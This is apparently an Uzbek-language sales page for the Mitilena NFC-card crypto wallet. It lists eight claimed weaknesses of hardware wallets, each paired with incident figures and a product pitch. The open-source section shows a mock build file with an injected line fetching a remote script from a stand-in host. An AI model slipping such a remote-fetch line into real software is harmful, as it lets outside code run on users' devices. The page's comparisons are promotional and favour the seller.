8 kamchilik Ochiq kod Tekshiruv ro‘yxati Savollar
Mitilena Mitilena Wallet Sovuq kripto hamyon
ONLINE · 22,000+ COINS Hamyon yaratishYaratish
Apparat hamyonlar · ochiq bo‘lmagan kamchiliklar

Bir apparat hamyonning ochiq bo‘lmagan kamchiliklari

Teshiklarni yopish uchun qurilma olasiz. U bilan birga yangilari keladi: firmware, yangilanishlar, kompyuterdagi xizmat, ekran, quti, ishlab chiqaruvchi hisobi. Sharhlar afzallik deb hisoblagan sakkiz detal — va 2020–2026-da ular orqali pul olib ketilgan sakkiz yo‘l.

Sakkiz kamchilik To‘plam tarkibi
Sanalari va summalari bilan real voqealar Ishlab chiqaruvchi hujjatlaridan To‘plamimizni shu ro‘yxat bo‘yicha tekshiramiz
Xato narxiommaviy voqealar
2026Coldcard · firmware’da zaif tasodifiylik$100M+
2025Bybit · imzolovchilar ko‘rmagan narsani imzoladi$1.5B
2024Dark Skippy · seed ikki imzoda sizib chiqaditadqiqot
2023Ledger Connect Kit · kutubxonada orqa eshik$600K
2021App Store’da soxta hamyon ilovasi17,1 BTC
2020Ledger mijoz DB sizishi · yillar davomida phishing270 000 kishi
Sakkiz kamchilik

Sharhlar maqtovlagan har bir detal alohida teshikdir

Apparat hamyon bitta teshikni yopadi: kalit endi internetli telefonda yotmaydi. Lekin qurilma bo‘sh emas. Firmware’i, yangilanishlari, kompyuter dasturi, ekrani, qutisi, manzilingizni biladigan sotuvchisi bor — va har bir detal ilgari bo‘lmagan hujum yuzasini qo‘shadi. Pastda sakkiz shunday detal: sharhlarda nima deyiladi, ular orqali pul qanday olib ketildi, teshik qanday yopiladi va to‘plamimizda o detal bormi.

Kamchilik 01

Kalitingizni yaratadigan firmware

Sharhlarda: «xavfsiz chip — kalit qurilma ichida yaratiladi va hech qachon tashqariga chiqmaydi»

Kalit ulkan tasodifiy son va uni firmware yaratadi. Unda bitta xato — va o‘ylaganingizdan ancha kam kalit bor: qurilmaga kirishsiz, xariddan yillar o‘tib barcha egalarida bir vaqtda brute-force qilinadi. Chipning ahamiyati yo‘q; teshik undan yuqorida.

Voqea
$100M+
Coldcard, iyul 2026: 2021-dan beri davom etgan firmware yig‘ish xatosi apparat RNG’ni sekin-asta qurilma seriya raqami va taymer bilan urug‘langan zaif RNG bilan almashtirdi. Kalit kuchi taxminan 40 bitga tushdi; 5 000+ manzil bo‘shatildi.
Teshik qanday yopiladi
O‘z tasodifiyligingizni keltira olasizmi: zar tashlash, o‘z iborangiz. Sizdan entropiya qabul qiladigan hamyon bitta firmware xatosiga bog‘lanib qolmaydi.
Bizda bu detal yo‘q
Kartada firmware yo‘q — shifrlangan tashuvchi. Mitilena Air kalitni qurilmaning tizim RNG’sidan yaratadi; tasodifiy so‘zlar o‘rniga o‘z seed iborangizni ham qo‘yishingiz mumkin.
Kamchilik 02

O‘rnatishga majbur bo‘ladigan yangilanishlar

Sharhlarda: «ishlab chiqaruvchi muntazam xavfsizlik yangilanishlarini yuboradi»

Har bir yangilanish firmware almashtirilishi mumkin bo‘lgan lahzadir. Buzilgan firmware qurilma tashqaridan oddiy ko‘rinib turganda seed parchalarini ikki-uch oddiy imzoda yashiradi. Yangilanishlarni o‘tkazib yuborish ham tanlov emas: teshiklar aynan yangilanishlar bilan yopiladi.

Voqea
2 imzo
Dark Skippy, avgust 2024: tadqiqotchilar ko‘rsatdiki, zararli apparat-hamyon firmware’i butun seed’ni ikki tranzaksiya orqali tashqariga sizdirishi mumkin. Noto‘g‘ri joydan bitta yangilanish yetadi.
Teshik qanday yopiladi
Firmware qayerdan kelgani va qurilma imzosini tekshiradimi. Eng yaxshisi — yangilanadigan hech narsa bo‘lmasligi.
Bizda bu detal yo‘q
Kartada yangilanadigan yoki almashtiriladigan hech narsa yo‘q. Imzolash telefon ilovasida bo‘ladi; yig‘malar imzolangan va App Store hamda Google Play’dan keladi — ko‘rib o‘zingiz yopadigan istalgan ilova kabi.
Kamchilik 03 · Absurdni his eting
Sharhlarda: «qulay firma kompyuter ilovasi»

Ishonchsizlik uchun olingan, fon xizmati bilan keladigan hamyon

Qurilmani bitta sabab bilan olasiz: kompyuterga ishonishni tashlash. Ishlashi uchun shu kompyuterga fon xizmati o‘rnatishingiz kerak. Uni siz yozmagansiz, ishga tushirmagansiz va nazorat qilmaysiz: operatsion tizim bilan ochiladi, mashinangizdagi istalgan dastur taqillashi mumkin bo‘lgan portni tinglaydi va hozir nimadir qiladi — aniq nima ekanini bilmaysiz va hech qachon tekshira olmaysiz.

Hamyonni yopganingizdan keyin ham fonda ishlashda davom etdi. Yillar davomida. Eng yirik ishlab chiqaruvchilardan birida alohida «ko‘prik» xizmati edi; 2025-da uni ilova ichiga yashirdilar — xizmat hali u yerda, shunchaki oynasi bilan birga o‘ladi. Aksariyat boshqalarida kompyuter dasturisiz qurilma — brelok. Linux’da udev qoidalarini qo‘shmasangiz tizim USB’ni bermaydi.

Ya’ni kompyuter dasturlariga bog‘liq bo‘lmaslik uchun olgan narsangiz kompyuter dasturisiz ishlamaydi. Ustiga ko‘rganingiz emas — ostida ishlayotgani.

Bizda bu detal yo‘q
Kompyuterga hech narsa o‘rnatilmaydi: xizmat yo‘q, drayver yo‘q, port yo‘q. Vosita — allaqachon telefonda turgan NFC chip; uni telefon ishlab chiqaruvchisi yasagan, operatsion tizim boshqaradi: faqat ilova ochiq va kartani o‘zingiz tegizganda ishlaydi, telefon har safar ruxsat so‘raydi. Karta passiv: batareya yo‘q, radio yo‘q, o‘zi hech narsa qilmaydi. Ilovani yoping — sizsiz ishlaydigan hech narsa qolmaydi. Rostini aytaylik: telefon ilovasi yana kerak va boshqalari kabi — ko‘rasiz, ochasiz, o‘zingiz yopasiz. Yerto‘la xonasida hech kim yashamaydi.
Tizim monitoringiWALLET CLOSED
JarayonHolatIshlash vaqti
HW Wallet Appwallet
siz yopdingiz-
hwwalletdfon xizmati · USB ko‘prigi
ishlayapti412d 06:14
kirishda tizim ishga tushirganyopib bo‘lmaydi — bu xizmat
Maket; nomlar shartli. 2025-dan oldin eng mashhur USB hamyonlardan biri bilan kompyuter shunday ko‘rinardi; keyin «ko‘prik» ilova ichiga olindi — xuddi shu xizmat, ro‘yxatda endi ko‘rinmaydi.
Alleoriya
Maxfiylik uchun uy — va yerto‘la xonasida ijarachi

Maxfiylik uchun uy xohladingiz. Oldingiz. Keyin qo‘riqlash kerak bo‘ldi — o‘rnatildi. Qo‘riqlash tarifining ishlashi uchun formadagi odamni uyga kiritishingizni so‘radilar: yerto‘la xonangizda kechayu kunduz yashaydi, har eshik kalitini tutadi va boshqaga hisobot beradi. Uni siz ishga olmagansiz, chiqara olmaysiz; kechasi nima qilishini bilmaysiz.

Albatta «o‘zimiznikidan». Shartnomada yozilgan. Maxfiylik xohladingiz; o‘rniga surrogat oldingiz: tanlamagan ijarachisi bo‘lgan uy.

Kamchilik 04 · Ochiq kod audit emas
Sharhlarda: «ochiq kod — har kim tekshira oladi»

Ochiq kod dasturchilarning birga ishlash usuli, dastur o‘g‘irlamasligiga belgi emas

Ochiq manba kodi odamlar dasturlarni ulashishi va birga tuzatishi uchun o‘ylab topilgan. Hamkorlik vositasi sifatida a’lo. «Bu dastur pulingizni o‘g‘irlamaydi» degan sifat muhri hech qachon bo‘lmagan; sababi: manba kodidan foydalanmaysiz. Yuklab olganingizdan foydalanasiz.

GitHub ombori bilan telefondagi fayl o‘rtasida yig‘ma, ilova do‘koni, yangilanish, server bor. Shu qadamlarning istalganida kodga har joydan narsa tortadigan qator kirishi mumkin — va omborda bo‘lmaydi. Nusxangizni manba bilan solishtira olmaysiz: do‘konlar kompilyatsiya qilingan fayl beradi; veb hamyon bugun server sizga tanlagan kodni oladi; brauzer kengaytmasi kechasi sekin-asta yangilanadi.

«Ochiq» shuni anglatadiki, ba’zi odamlar bir kun bir versiyani tekshira oladi. Nusxangiz hozir nima qilayotgani — buni anglatmaydi.

Omborda · github.com/…/wallet/send.js
// send.js
import { sign } from './crypto'
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
Telefonda · app-2.4.21.min.js
// send.js — build
import { sign } from './crypto'
;(async () => {
var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
Yig‘mada bitta qator. Omborda yo‘q, do‘konda ko‘rinmaydi, qurilmangizda ishlayapti.
Ochiqlik bu voqealarning hech birini to‘xtatmadi
Ledger Connect Kit2023
GitHub’da ochiq kutubxona; npm’ga zararli versiya qo‘yildi; o‘nlab sayt soatlar ichida jonli yukladi
Copay / event-stream2018
ochiq hamyon; orqa eshik aynan unga qaratilgan bog‘liqlikdan keldi
xz utils2024
yigirma yildan beri ochiq; bir muhandis SSH kirishi yarim soniya sekinlashganini sezgunicha orqa eshik relizlarda turdi
Coldcard2026
ochiq kodli firmware; besh yillik yig‘ish xatosi apparat RNG’ni zaif bilan almashtirdi — qurilmaga kirishsiz kalitlar brute-force qilindi, 5 000+ manzil, 100M$+
Haqiqatan ish beradigan
Boshqaning kodini o‘qish emas — har kim qila oladigan ikki tekshiruv. Birinchisi xulq-atvor auditi: kompyuteringizga tutuvchi proxy qo‘ying, ilovani undan o‘tkazing, qayerga nima yuborishini kuzating. Kodni o‘qishingiz shart emas — trafik to‘liq ko‘rinadi. Ikkinchisi, kod o‘g‘irlaydigan hech narsasi bo‘lmagan arxitektura: kalit tarmoqli qurilmada hech yotmasa istalgan yangilanishdagi istalgan qator kuchsiz — yuboradigan hech narsasi yo‘q.
Bizda qanday
Birinchisini o‘zimiz taklif qilamiz: ilovamizni proxy’dan, veb versiyani brauzer DevTools’dan o‘tkazing va har so‘rovga qarang. Imzo kaliti va seed ko‘rinmaydi; yagona istisno Monero view key — «o‘tkazma qanday chiqadi» sahifasida gapiriladi. Ikkinchisi to‘plamda: kalit Mitilena Air’da internetsiz qurilmada tug‘iladi, kartada yashaydi va onlayn ilovaga faqat imzo keladi — u yerda proxy qilinadigan hech narsa qolmaydi. Va bu yerdagi oflayn haqiqiydir: air-gap rejimida kalit qurilmasi hech narsaga ulanmagan — kabel yo‘q, Bluetooth yo‘q; tranzaksiya ko‘zingiz bilan ko‘rgan QR sifatida kiradi va chiqadi. Onlayn kompyuterga bog‘liq kabelli, o‘z xizmati bilan kim biladi nima almashadigan «sovuq» hamyon emas.
Kamchilik 05

Nima imzolayotganingizni ko‘rsatmaydigan ekran

Sharhlarda: «qurilma ekranida tasdiqlang — kompyuterdagi virus kuchsiz»

Ekran kichik va ko‘pincha manzil bilan summani emas, hash yoki «shartnoma chaqiruvi»ni ko‘rsatadi. Ko‘rmaganingizni tasdiqlaysiz — imzo yana rost, sizniki. Ekran yo‘q nazorat hissini beradi.

Voqea
$1.5B
Bybit, fevral 2025: apparat hamyonli imzolovchilar interfeysda oddiy ko‘ringan o‘tkazmani tasdiqladi. Qurilmalar odam solishtira olmaydigan ma’lumotni ko‘rsatdi.
Teshik qanday yopiladi
Qabul qiluvchi, summa va operatsiya turi inson tilida — hash emas — va bitta tugma bilan rad etish.
Bizda qanday
Ekran bor, lekin telefon ekrani: manzil, summa va so‘rov turi so‘zlar bilan — o‘tkazma, shartnoma chaqiruvi, ruxsat — va Rad etish tugmasi. Katta summalar uchun — to‘liq tranzaksiyani oladigan alohida oflayn qurilma.
Kamchilik 06

Ichida tayyor seed bo‘lgan quti

Sharhlarda: «xavfsizlik muhri bilan muhrlangan qutida yuboriladi»

Jismoniy qurilma demak yuk, vositachilar va «chegirmali» marketplace’lar demak. Hamyon oldindan sozlangan keladi, ichida qog‘ozda seed bor. Yoki do‘konda o‘xshash ilova «faollashtirish uchun seed kiriting» deydi.

Voqea
17,1 BTC
App Store, 2021: apparat hamyon egasi seed’ni o‘xshash ilovaga kiritdi va 17,1 BTC yo‘qotdi. O‘sha yili DB sizishidan keyin Ledger mijozlariga «seed’ingizni yangisiga ko‘chiring» xati bilan soxta qurilmalar yuborildi.
Teshik qanday yopiladi
O‘zingiz boshlang va tayyor yozilgan kelgan seed’dan hech qachon foydalanmang. Muhr tekshiruv emas; tekshiruv — kalitni siz yaratganingiz.
Bizda qanday
Kartalar bo‘sh keladi: kalitni siz yaratib yozasiz — qutida tayyor seed bo‘lishi mumkin emas. Ilova faqat saytdagi havolalar orqali App Store va Google Play’dan keladi; seed’ni faqat import va imzoda so‘raydi.
Kamchilik 07

Ishlab chiqaruvchi hisobi

Sharhlarda: «rasmiy kafolat, qo‘llab-quvvatlash va shaxsiy hisob»

Qurilmani olish uchun ishlab chiqaruvchiga ismingiz, e-pochtangiz va yetkazib berish manzilingizni berasiz. Xavfsizligingiz endi ularning bazasiga bog‘liq. Sizsa — yillar davomida «yangi qurilmada seed’ni tasdiqlang» xabarlari olasiz, ba’zan posilkalar bilan birga.

Voqea
270 000 kishi
Ledger, 2020: pochta manzillari bilan 270 000 xaridor ma’lumoti sizdi. Seed’ni «ko‘chirishingizni» so‘ragan e-pochtalar, qo‘ng‘iroqlar va posilkalar bugun ham davom etadi.
Teshik qanday yopiladi
Siz haqingizda qancha kam bilsalar vektor shuncha qisqa: hisobsiz oling, seed so‘ramaydigan qo‘llab-quvvatlash va qoida: «seed’ni faqat o‘g‘ri so‘raydi.»
Bizda bu detal yo‘q
Hamyon ro‘yxatsiz ishlaydi — hisob yo‘q. Sotuvchi faqat yetkazib berish manzilini biladi. Na qo‘llab-quvvatlash, na ilova seed so‘ramaydi.
Kamchilik 08

Bitta qurilma va bitta qog‘oz parchasi

Sharhlarda: «mustahkam korpus, katta ekran, bir haftalik batareya»

Detal ko‘paysa sinish ko‘payadi: konnektor, ekran, batareya. Tiklash bitta seed qog‘oziga bog‘liq — ho‘llanadi, ko‘chishda yo‘qoladi, «zaxira uchun» suratga olinadi. Yo‘qotishning eng tez-tez sababi hack emas.

Voqea
≈20 % BTC
Chainalysis’ga ko‘ra butun bitcoin’ning taxminan beshdan biri abadiy yo‘qolgan — ko‘pi hack’dan emas, yo‘qolgan kalitlardan.
Teshik qanday yopiladi
Qutida nechta kalit nusxasi, qaysi shaklda keladi; qurilma yo‘qolsa nima bo‘ladi; ichida sinadigan narsa bormi.
Bizda bu detal yo‘q
Ekran, batareya yoki konnektor yo‘q — sinadigan hech narsa yo‘q. Va bitta nusxa emas: qutida besh oynali nusxa — su o‘tkazmaydigan plastikda ikki NFC-karta va uch stealth stiker, 10+ yil.
Tekshiruv ro‘yxati

Hamyonda nima bo‘lmasligi kerak

Sakkiz kamchilik uchun sakkiz detal. Ro‘yxat har qanday hamyonga mos — apparat, mobil, brauzer. Tanlaganingizda va bizdagilarini belgilang.

01
Faqat dastur yaratgan kalito‘z tasodifiyligingizsiz — iborangiz yoki zar
02
Kalit yashaydigan joydagi yangilanishlarhar yangilanish kod almashtirish imkoniyati
03
Kompyuterda xizmat, drayver yoki portqarang kamchilik 03
04
Arxitektura o‘rniga «ochiq kod» belgisikalit begona kod yetishi mumkin joyda yotadi
05
Manzil va summa o‘rniga hash ko‘rsatadigan ekranva «Rad etish» tugmasi yo‘q
06
Tayyor yozilgan kelgan seedqutida, xatda, «faollashtirish ilovasida»
07
Ishlab chiqaruvchi hisobiva seed so‘rashi mumkin qo‘llab-quvvatlash
08
Bitta nusxa va sinadigan detallarekran, batareya, konnektor, bitta qog‘oz
Bu ro‘yxatda Ultimate to‘plamida sakkiz detalning hech biri yo‘q. Qutida: 2 NFC-karta va 3 stealth stiker, Mitilena Air (internetsiz kalitlar) va Mitilena Keys (internetsiz imzo). Kartalar bo‘sh keladi: kalitni siz yaratib shifrlaysiz — zavod chipi emas. Tarkib va narx →
Ultimate · oflayn to‘plam

Zavod «xavfsiz chipi» emas — o‘zingiz shifrlaydigan tashuvchi

Kartalar bo‘sh keladi. Kalitni Mitilena Air’da internetsiz telefonda yaratib o‘zingiz yozasiz. Imzolash ham Mitilena Keys bilan oflayn: tranzaksiya QR orqali ketadi. Qutida beshta bir xil nusxa: su o‘tkazmaydigan plastikda 2 NFC-karta va 3 stealth stiker. 18 tarmoq, USDT bilan 20 000+ tanga.

Kompyuterga hech narsa o‘rnatilmaydi
Firmware, yangilanish, ekran yoki batareya yo‘q
Oflayn telefonga tranzaksiya — tovush yoki QR bilan, kabel yoki USB yo‘q
Bepul Mitilena telefon ilovasi bilan ishlaydi
Su o‘tkazmaydigan plastik, 10+ yil saqlash muddati
Butun dunyo bo‘ylab yetkazib berish · mitilena-store.com
Mitilena NFC-karta
Ultimate · oflayn generatsiya va imzo
€369€439
2 NFC-karta · 3 stealth stiker · Mitilena Air · Mitilena Keys litsenziyasi
Ultimate buyurtma · €369 Basic va Premium — barcha tariflar
Savollar

Shu yergacha o‘qiganlar so‘ragan

Apparat hamyon afzalliklari va kamchiliklari — qisqacha?

Katta bitta afzallik: kalit internetli telefonda emas. Kamchiliklar yuqoridagi sakkiz detal — har biri hujum yuzasini qo‘shadi. Yaxshi apparat hamyon ko‘proq emas, kamroq detalli.

Telefon qo‘lga olsa?

Asosiy telefondagi karta bilan kalit imzo lahzasida izolyatsiyalangan muhitda paydo bo‘ladi — istalgan telefon hamyoni bilan bir xil xavf, faqat qisqaroq. Qo‘rqitadigan summalar uchun — ikkinchi qatlam: tranzaksiya QR orqali yetadigan alohida oflayn qurilmada imzolang.

Karta o‘g‘irlansa yoki yo‘qolsa?

Parolsiz karta va stiker yaroqsiz plastik — ustidagi kalit shifrlangan. Yo‘qolgan nusxa o‘rniga qolgan to‘rttasi keladi: qutidagi ikki karta va uch stiker oynali.

Apparat hamyon firmware’ini yangilash kerakmi?

Ishlab chiqaruvchi bitta teshikni yopgan bo‘lsa — ha, va aynan o lahza firmware almashtirilishi mumkin: manba va imzoni tekshiring. Firmware’siz tashuvchida bunday tanlov yo‘q — yangilanadigan hech narsa yo‘q, almashtiriladigan hech narsa yo‘q.

USB hamyondan farqi nima?

Kamroq vositachi: kabel, drayver, fon xizmati yoki kompyuter dasturi yo‘q. Yagona vosita — telefoningizdagi NFC chip — va u sizga hamda operatsion tizimga javob beradi, hamyon ishlab chiqaruvchisiga emas.

Ochiq kod xavfsiz deganimi?

Kimdir bir pay tekshira olishini anglatadi. Kodni emas, yuklab olganingizdan foydalanasiz va birini ikkinchisi bilan solishtira olmaysiz. Xavfsizlik kalit begona kod yetolmaydigan joyda turgan arxitekturadan keladi.

Oflayn generatsiya va imzoli NFC-kartalar

5 kalit nusxasi · Air · Keys · yoki 30 soniyada bepul hamyon · Zavodda xavfsiz chipga asoslangan «sovuq» apparat hamyon nima uchun ko‘pincha soxta sovuq saqlashdir →
Ultimate buyurtma · €369 Bepul hamyon yaratish